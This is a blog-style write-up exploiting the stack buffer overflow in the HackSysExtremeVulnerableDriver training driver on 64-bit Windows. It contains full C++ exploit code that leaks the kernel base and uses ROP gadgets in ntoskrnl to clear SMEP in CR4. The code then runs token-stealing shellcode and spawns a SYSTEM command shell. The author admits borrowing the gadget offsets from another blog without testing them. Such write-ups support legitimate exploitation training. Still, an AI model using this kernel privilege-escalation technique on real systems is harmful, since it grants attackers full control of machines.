6 minute read

Exploiting Buffer Overflow

Finding The IOCTL

For start, we need to find the IOCTL in order to trigger the StackBufferOverflow handler. After looking at ida we can see the following-

The IOCTL is 0x222003.

Code Overview

Looking at BufferOverflowStack function -

We can see it takes two arguments, UserBuffer and Size. Where Size is the size of UserBuffer.

Let’s go over the important parts here, First, We can see there is a 2048 bytes buffer allocation, I named the variable “local_allocated_buffer”. Seconed, the buffer is being filled with zeros.

char local_allocated_buffer[2048];
memset(local_allocated_buffer, 0, sizeof(local_allocated_buffer));

Then we can see a call to ProbeForRead which validates that UserBuffer is allocated in user space. Last, we see the following memmove call -

memmove(local_allocated_buffer, UserBuffer, Size);

This line is where the vulnerability occures, the UserBuffer is being moved into local_allocated_buffer without validating that Size <= 2048, this is a vanilla buffer overflow .

Exploiting The Vulnerability

Let’s write a POC for crashing the system -

#include <iostream>
#include <Windows.h>

#define IO_CODE 0x222003

int main() {

	auto hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, NULL, 0x3, 0, NULL);

	if (hDevice == INVALID_HANDLE_VALUE) {
		std::cout << "Unable to get a handle to the driver" << std::endl;
		exit(1);
	}

	DWORD bytesReturned;

	char exploitBuffer[0x1000]; // 0x800 = 2048.

	memset(exploitBuffer, 'A', sizeof(exploitBuffer));

	DeviceIoControl(hDevice, IO_CODE, exploitBuffer, sizeof(exploitBuffer), NULL, 0, &bytesReturned, NULL);

	CloseHandle(hDevice);

	return 0;
}

Here, we supply a buffer in size of 0x1000 which is 4096 bytes. Running the above is causing a system crash -

We can see it happend during the ret instruction, Let’s dump the stack to see the address we are attempting to return to -

Awesome, it means we can control rip when returning from the function.

Finding ret Exact Offest

We need to find the exact offset of the ret instruction, we can do it by using some pattern generator like this one - wiremask.eu

Or, we can just look at the assembly and figure it out -

From xpn’s blog -

We can see that our data is 800h in size, adding 8 bytes to that because of rbp being pushed to the stack at the start of the function and we get 808h=2056, this is the size of the buffer, now we want to add 8 more bytes that will be used for rip.

char exploit[2056 + 8];
memset(exploit, 'A', sizeof(exploit-8));
*(unsigned long long *)(exploit + 2056) = (unsigned long long)shellcode;

The above code would have been great if we were to exploit Window 7, but, since Windows 8.1 we have SMEP in place so we can’t execute our shellcode from user space. Or can we? Last blog I coverd one way of bypassing SMEP by flipping a bit in the pte, this time we are going to use ROP in order to flip a bit in cr4. If you don’t know what SMEP is there is a lot of information about it in google so just search it, or refer to my last blog post.

Finding ROP Gadgets

The first gadget we are going to use is -

pop rcx
ret

We can use a tool like ROPgadget

ROPgadget --binary /mnt/c/Windows/System32/ntoskrnl.exe | grep "pop rcx ; ret"

Unfortunately, at the time writing this part I didn’t have a setup so I am going to use the offsets from h0mbre’s blog.

As he states in his blog we can find the gadget we are after in HvlEndSystemInterrupt -

kd> uf HvlEndSystemInterrupt
nt!HvlEndSystemInterrupt:
fffff800`10dc1560 4851            push    rcx
fffff800`10dc1562 50              push    rax
fffff800`10dc1563 52              push    rdx
fffff800`10dc1564 65488b142588610000 mov   rdx,qword ptr gs:[6188h]
fffff800`10dc156d b970000040      mov     ecx,40000070h
fffff800`10dc1572 0fba3200        btr     dword ptr [rdx],0
fffff800`10dc1576 7206            jb      nt!HvlEndSystemInterrupt+0x1e (fffff800`10dc157e)

nt!HvlEndSystemInterrupt+0x18:
fffff800`10dc1578 33c0            xor     eax,eax
fffff800`10dc157a 8bd0            mov     edx,eax
fffff800`10dc157c 0f30            wrmsr

nt!HvlEndSystemInterrupt+0x1e:
fffff800`10dc157e 5a              pop     rdx
fffff800`10dc157f 58              pop     rax
fffff800`10dc1580 59              pop     rcx // Gadget at offset from nt: +0x146580
fffff800`10dc1581 c3              ret

We can set a value in rcx as we can see at the assembly. The seconed gadget we are looking for is -

mov cr4, rcx
ret

The above gadget can be found at KiEnableXSave -

kd> uf nt!KiEnableXSave
nt!KiEnableXSave:

---SNIP---

nt! ?? ::OKHAJAOM::`string'+0x32fc:
fffff800`1105142c 480fbaf112      btr     rcx,12h
fffff800`11051431 0f22e1          mov     cr4,rcx // Gadget at offset from nt: +0x3D6431
fffff800`11051434 c3              ret

Final Exploit Code

#include <iostream>
#include <Windows.h>
#include <Psapi.h>

#define IO_CODE 0x222003

unsigned long long getKernelBaseAddress() {

	void* lpImageBase[1024];
	unsigned long lpcbNeeded;

	int baseOfDrivers = EnumDeviceDrivers(
		lpImageBase,
		sizeof(lpImageBase),
		&lpcbNeeded
	);

	if (!baseOfDrivers)
	{
		std::cout << "[-] Error! Unable to invoke EnumDeviceDrivers(). Error: %d\n" << GetLastError() << std::endl;
		exit(1);
	}

	// ntoskrnl.exe is the first module dumped in the array.
	unsigned long long kernelBaseAddress = (unsigned long long)lpImageBase[0];

	std::cout << "[+] ntoskrnl.exe is located at: 0x%llx\n" << kernelBaseAddress << std::endl;

	return kernelBaseAddress;
}

void sendPayload(HANDLE hDevice, ULONG64 kernel_base) {

    std::cout << "[+] Allocating RWX shellcode..." << std::endl;

    // slightly altered shellcode from 
    // https://github.com/Cn33liz/HSEVD-StackOverflowX64/blob/master/HS-StackOverflowX64/HS-StackOverflowX64.c
    // thank you @Cneelis
    BYTE shellcode[] =
        "\x65\x48\x8B\x14\x25\x88\x01\x00\x00"      // mov rdx, [gs:188h]       ; Get _ETHREAD pointer from KPCR
        "\x4C\x8B\x82\xB8\x00\x00\x00"              // mov r8, [rdx + b8h]      ; _EPROCESS (kd> u PsGetCurrentProcess)
        "\x4D\x8B\x88\xf0\x02\x00\x00"              // mov r9, [r8 + 2f0h]      ; ActiveProcessLinks list head
        "\x49\x8B\x09"                              // mov rcx, [r9]            ; Follow link to first process in list
        //find_system_proc:
        "\x48\x8B\x51\xF8"                          // mov rdx, [rcx - 8]       ; Offset from ActiveProcessLinks to UniqueProcessId
        "\x48\x83\xFA\x04"                          // cmp rdx, 4               ; Process with ID 4 is System process
        "\x74\x05"                                  // jz found_system          ; Found SYSTEM token
        "\x48\x8B\x09"                              // mov rcx, [rcx]           ; Follow _LIST_ENTRY Flink pointer
        "\xEB\xF1"                                  // jmp find_system_proc     ; Loop
        //found_system:
        "\x48\x8B\x41\x68"                          // mov rax, [rcx + 68h]     ; Offset from ActiveProcessLinks to Token
        "\x24\xF0"                                  // and al, 0f0h             ; Clear low 4 bits of _EX_FAST_REF structure
        "\x49\x89\x80\x58\x03\x00\x00"              // mov [r8 + 358h], rax     ; Copy SYSTEM token to current process's token
        "\x48\x83\xC4\x40"                          // add rsp, 040h
        "\x48\x31\xF6"                              // xor rsi, rsi             ; Zeroing out rsi register to avoid Crash
        "\x48\x31\xC0"                              // xor rax, rax             ; NTSTATUS Status = STATUS_SUCCESS
        "\xc3";

    LPVOID shellcode_addr = VirtualAlloc(NULL,
        sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    memcpy(shellcode_addr, shellcode, sizeof(shellcode));

    std::cout << "[+] Shellcode allocated in userland at: 0x" << (ULONG64)shellcode_addr << std::endl;

    BYTE input_buff[2088] = { 0 };

    ULONG64 pop_rcx_offset = kernel_base + 0x146580; // gadget 1
    std::cout << "[+] POP RCX gadget located at: 0x" << pop_rcx_offset << std::endl;
    ULONG64 rcx_value = 0x70678; // value we want placed in cr4
    ULONG64 mov_cr4_offset = kernel_base + 0x3D6431; // gadget 2
    std::cout << "[+] MOV CR4, RCX gadget located at: 0x" << mov_cr4_offset << std::endl;


    memset(input_buff, '\x41', 2056);
    memcpy(input_buff + 2056, (PULONG64)&pop_rcx_offset, 8); // pop rcx
    memcpy(input_buff + 2064, (PULONG64)&rcx_value, 8); // disable SMEP value
    memcpy(input_buff + 2072, (PULONG64)&mov_cr4_offset, 8); // mov cr4, rcx
    memcpy(input_buff + 2080, (PULONG64)&shellcode_addr, 8); // shellcode

    std::cout << "[+] Input buff located at: 0x" << (INT64)&input_buff << std::endl;

    DWORD bytes_ret = 0x0;

    std::cout << "[+] Sending payload..." << std::endl;

    int result = DeviceIoControl(hDevice,
        IO_CODE,
        input_buff,
        sizeof(input_buff),
        NULL,
        0,
        &bytes_ret,
        NULL);

    if (!result) {
        std::cout << "[-] DeviceIoControl failed!" << std::endl;
    }
}

void spawnShell() {
    std::cout << "[+] Spawning nt authority/system shell..." << std::endl;

    PROCESS_INFORMATION pi = { 0 };
    STARTUPINFOA si = { 0 };

    CreateProcessA("C:\\Windows\\System32\\cmd.exe",
        NULL,
        NULL,
        NULL,
        0,
        CREATE_NEW_CONSOLE,
        NULL,
        NULL,
        &si,
        &pi);
}

int main() {

	auto hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, NULL, 0x3, 0, NULL);

	if (hDevice == INVALID_HANDLE_VALUE) {
		std::cout << "[-] Unable to get a handle to the driver" << std::endl;
		exit(1);
	}

    auto kernelBase = getKernelBaseAddress();

    sendPayload(hDevice, kernelBase);
    CloseHandle(hDevice);
    spawnShell();

	return 0;
}

The picture is from h0mbre’s blog, again, I didn’t have a setup at the time writing this part, but I can promise you it worked on my machine ;)

Hopefully in the next write up I am going to write about Buffer Overflow with GS, on RS5. Thank you for reading, and thanks to all the amazing write ups out there that I can study from.

Sources